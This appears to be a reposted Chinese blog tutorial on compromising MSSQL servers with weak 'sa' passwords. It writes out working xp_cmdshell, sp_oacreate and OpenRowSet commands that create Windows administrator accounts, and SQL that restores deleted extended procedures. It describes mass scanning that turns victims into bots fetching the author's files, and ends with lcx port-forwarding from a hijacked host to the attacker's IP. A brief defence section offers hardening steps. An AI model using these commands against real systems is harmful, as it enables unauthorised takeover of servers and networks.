利用mssql弱口令的注入以及防御(安全)

转载 2012年03月24日 18:15:55

原文地址:http://www.hackmvp.com/donghua/sort0114/16287.html

第一部分:猜解口令和入侵

 大家都知道1433是mssql数据库的默认端口,也都知道sa是mssql数据库的默认的管理员帐号,这个端口入侵以前讲过许多,网上也有很多这方面的资料,下面我就根据我个人在【新世纪网安】的学习来总结一下
 
 首先,要想通过1433端口进入载有mssql数据库的主机并取得权限,我们必须要知道它的弱口令。据我所知,国内很多数据库管理员的安全意识是很差的,一个只有几行的弱口令字典不到1秒钟就能猜解出sa口令。
 
 其次,知道了口令之后,我们要取得管理权限,那么说到提权,目前最常用到的就是扩展存储过程xp_cmdshell和sp_oacreate,sp_oamethod以及xp_regwrite等。其中前两种最为大家所熟悉。下面的表1就简单说明了这两种存储的利用方法。
 
表1、

 1.1 在查询分析器里利用 xp_cmdshell 添加windows管理帐号
 
  e.g:   exec master..xp_cmdshell 'net user 123 /add'
    exec master..xp_cmdshell 'net localgroup administrators 123 /add'
 添加完成后,可以为对方开3389终端服务,这样我们就能用刚才建立的帐号进行登录了,就像操作我们自己的电脑一样来操作对方的电脑。怎么样,是不是很容易?
 
 1.2 在 查询分析器里利用 sp_oacreate,sp_oamethod 添加windows管理帐号

  e.g: 
    declare @o int;
    exec sp_oacreate 'wscript.shell',@o out;
    exec sp_oamethod @o,'run',NULL,'cmd.exe /c net user 123 /add';--
    按<F5>执行,然后

    declare @o int;
    exec sp_oacreate 'wscript.shell',@o out;
    exec sp_oamethod @o,'run',NULL,'cmd.exe /c net localgroup administrators 123 /add';--
    
  同样的,我们就添加了一个系统管理员级别的用户了。
  
  当然我们还可以用沙盒模式进行帐号的添加,这里我操作一下
  
  Select * From OpenRowSet('Microsoft.Jet.OLEDB.4.0',';Database=c:\windows\system32\ias\ias.mdb','select shell("net user 123 /add")');
  
  
  检查一下结果,看到了,我们添加上了。
  
 
 但是,随着管理员安全意识和技术水平的提高,以上我们的操作往往会失败,原来,是管理员出于安全考虑,删掉了xp_cmdshell,sp_oacreate,sp_oamethod等存储过程。遇到这种情况,我们就只能对这些存储过程先进行恢复了。下面的表2,简单几句话,就能恢复大多数粗心管理所删掉的扩展存储了。
 

表2、恢复xpshell和oashell

 drop procedure sp_addextendedproc
 exec sp_dropextendedproc 'xp_cmdshell'(这里也可以写成 drop procedure xm_cmdshell)
 drop procedure sp_oacreate
 drop procedure sp_oamethod
 dbcc addextendedproc ("sp_oacreate","odsole70.dll") 【尝试利用数据库自带的dbcc(一致性检查命令)来恢复】
 dbcc addextendedproc ("sp_oamethod","odsole70.dll")
 dbcc addextendedproc ("xp_cmdshell","xplog70.dll")
 
 <试着在自己本机安装一个mssql数据库,删掉前面提到的扩展存储,再用上面的语句试着恢复,会发生什么?>
 
 
第二部分:批量猜解和注入

 第一部分我们了解了原理,那么,可不可以将上面的原理实现在程序代码中呢,答案是可以的。下面我用一款全自动工具来进行扫描和注入,大家看一下是多么的容易。由于扫描的ip段比较大,我是提前开始扫的,快扫到ip段结束的时候暂停,然后开始做动画的,主要是为了节省时间。
 
 好,我们继续。。。大家可以快进一下。这个段设置的比较大。
 
 好了,我们不等了。做这个教程的目的不是教大家扫描抓鸡。呵呵。
 
 绿色字体出现的时候,就是已经猜解出弱口令的
 
 已经开始猜解口令和注入了,这里的serv-u存放着我们的文件,我们发送指令让对方主机来下载我们的文件。怎么样,是不是很轻松容易?这里绿色字体出现的时候,就是已经猜解出弱口令的。猜到之后即刻进行注入,所以显得很快。
 
 看,就这么会儿的时间,就下载和上线了这么多。可想而知我们国内的管理员安全意识是多么的薄弱。
 
 扫描的过程中做做广告,希望大家多来【新世纪网安】学习,一起提高我们的安全技术水平,技术无止境。
 
 
 这个时间我们先看下第三部分,如何防御弱口令利用注入。

第三部分:防御:

 针对以上所述,我们可以采取以下方法进行防御:

 搜索xplog70.dll,xpweb70.dll,odsole70.dll,找到后  改名为 xplog70.dll.bck等。
 
 这样以后需要用到的时候把后面的 .bck 去掉就可以了。

 当然要想更安全,还需要把沙盒模式要用到的xp_regread,xp_regwrite等存储删掉才可以。如果确认你用不倒ias.mdb等Access数据库文件,也把他们改名或者删掉。这样就算你的sa用户是空口令,黑客也要费一翻脑筋了。“最彻底的要数给sa用户降权的做法了”。


sa用户降权的做法:

新建windows用户,隶属于users组或guests组,在服务中找到sqlserver服务器,停止它,设置其登录权限,默认为localsystem,改成你新增的用户,然后重新运行sqlserver即可将SA权限改成普通权限,防止LCX转发提权。


提权教程之lcx转发拿下内网服务器 :

提权思路:利用webshell执行lcx,实现端口发。

首先在自己机子的cmd下运行
lcx.exe -listen 51 3389
意思是监听51端口并转发到3389端口
然后在肉鸡上运行 lcx.exe -slave 你的IP 51 肉机IP 1433
意思是 把肉机的3389端口 转发到 自己的IP 51端口上


 
 谢谢大家!

利用mssql弱口令的注入以及防御(安全)

原文地址:http://www.hackmvp.com/donghua/sort0114/16287.html 第一部分:猜解口令和入侵  大家都知道1433是mssql数据库的默认端口,也都...
  • Trassion
  • Trassion
  • 2012年03月24日 18:15
  • 3008

Microsoft SQL Server SA弱口令攻防实战

摘要:我们都知道,在网络中Microsoft SQLServer的入侵最常见的就是利用SA弱口令入侵了,而核心内容就是利用Microsoft SQLServer中的存储过程获得系统管理员权限,那到底什...
  • eldn__
  • eldn__
  • 2012年12月03日 21:36
  • 2007

MSSQL sa 弱口令提权基础知识学习

https://bbs.ichunqiu.com/thread-23312-1-1.html 1. “扩展存储过程”中的 xp_cmdshell Microsoft SQL...
  • wjy397
  • wjy397
  • 2017年06月29日 13:59
  • 283

mssql弱口令检测

import socket import binascii def check(host,port,username,password,timeout): try: socket.se...
  • u012329314
  • u012329314
  • 2017年05月10日 14:52
  • 163

利用SA弱口令入侵windows服务器

       利用SA弱口令入侵windows,其核心内容就是利用Microsoft SQLServer中的存储过程获得系统管理员权限。MSSQL中存储过程分为三种,系统提供的存储过程,用户自定义的存...
  • heng0413
  • heng0413
  • 2010年11月08日 18:45
  • 1415

Tomcat安全配置

转自:http://drops.wooyun.org/%E8%BF%90%E7%BB%B4%E5%AE%89%E5%85%A8/8519 tomcat是一个开源Web服务器,基于Tomcat...
  • earbao
  • earbao
  • 2015年09月23日 10:57
  • 3620

教你如何通过Mysql弱口令得到系统权限

很早网上就有了用mysql弱口令得到webshell教程,但是这次我要说的不是得到webshell,而是直接得到系统权限,看清楚了,是“直接”得到! 首先,我简单说一下mysql弱口令得到系统...
  • u013673367
  • u013673367
  • 2014年03月07日 19:51
  • 1484

自己写的一个sqlserver弱口令扫描工具辅助脚本(提升扫描速度效率,速度极快)

需要s.exe 和scan.exe不懂的就别看了。 下面是bat配套和vbs配套脚本 单进程多线程版: @echo off setlocal enabledelayedexpansi...
  • yatere
  • yatere
  • 2011年08月18日 09:51
  • 2028

snmp弱口令怎么利用

每次用X-SCAN扫到snmp弱口令(一般是public),多不知道怎样利用。嗨!失败。后来无意中让我找到了。snmp的主要作用是对网络设备和设备中的应用程序进行管理,因此,获得了snmp口令后,主要...
  • ycool1984
  • ycool1984
  • 2004年09月14日 04:54
  • 3441

SNMP安全加固方法总结

SNMP(Simple Network Management Protocol,简单网络管理协议)的前身是简单网关监控协议(SGMP),用来对通信线路进行管理。随后,人们对SGMP进行了很大的修改,特...
  • xiaoyecanfeng
  • xiaoyecanfeng
  • 2012年01月05日 09:30
  • 1453
内容举报
返回顶部
收藏助手
不良信息举报
您举报文章:利用mssql弱口令的注入以及防御(安全)
举报原因:
原因补充:

(最多只允许输入30个字)